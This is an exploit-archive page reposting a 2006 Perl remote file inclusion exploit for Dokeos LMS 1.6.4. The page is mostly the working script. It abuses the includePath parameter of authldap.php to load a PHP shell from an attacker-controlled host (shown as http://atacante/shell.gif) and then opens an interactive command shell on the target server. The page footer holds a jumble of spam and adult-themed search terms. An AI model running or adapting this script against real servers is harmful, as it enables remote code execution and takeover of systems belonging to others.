about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Dokeos LMS <= 1.6.4 (authldap.php) Remote File Include Exploit




2006-05-08 Dokeos LMS <= 1.6.4 (authldap.php) Remote File Include Exploit
Rated as : Moderate Risk

#!/usr/bin/perl
############
# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie:  beford <xbefordx gmail com>
#
# uso:# 	perl own.pl <host> <cmd-shell-url> <cmd-var>
# 		perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable 
# includePath in a include() function without being declared. 
# This issue has already been fixed in current claroline.net version, 
# but dokeos still uses a  vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
	print "[shell] \$";
	while(<STDIN>)      {
		$cmd=$_;
		chomp($cmd);
		if (!$cmd) {last;}  
		$xpl = LWP::UserAgent->new() or die;
		$req = HTTP::Request->new(GET
=>$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";
		$res = $xpl->request($req);
		$return = $res->content;
		$return =~ tr/[\n]/[ê]/;
		if ($return =~/Error: HTTP request failed!/ ) {
			print "\nInvalid path for phpshell\n";
			exit;
		} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
			print "\nInvalid Command, error.\n\n";
		}
		if ($return =~ /(.*)/) {
			$finreturn = $1;
			$finreturn=~ tr/[ê]/[\n]/;
			print "\r\n$finreturn\n\r";
			last;
		} else {
			print "[shell] \$";
		}
	}
} last;

sub head()  { 
	print
"\n============================================================================\r\n";
	print "  Dokeos Learning Management System Remote File
Include\r\n";
	print
"============================================================================\r\n";
 }
 
sub usage() {
	head();
	print " Usage: perl own.pl <host> <url-cmd>
<var>\r\n\n";
	print " <host> - Full Path : http://host/dokeos/ \r\n";
	print " <url-cmd> - PhpShell : http://atacate/shell.gif
\r\n";
	print " <var> - var name used in phpshell : cmd 
\r\n\r\n";
	exit();
 }
securitydot.net - 2006-05-08

Advertising

Copyright 2007, SecurityDot
Sun, 08 Nov 2009 06:55:57 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
e-junkie elesa wwwsex.com www.wollds sexy gorls Aardvark pamporn.co yourfileho adpkm www.dakao8 SEX Crack+Data www.zhaojz Videos ero www.siqiwe www.my fre www.sxs.c wwwsex.com hi.baidu.c www.720cn. sneka sex 0 Sexbebasin adpkm WWW.BANATA peach Invision B www.zhaojz SXX ABG gdm www indan wav juegospara brazil sex ...;amp;am indiannude SWAT 4 INJ lo878l sexy vedio www.234222 Phimsex.Co www.518mf. south indi www.dakao8 sexe vedio www indan interratia 041 hot sex sc t4t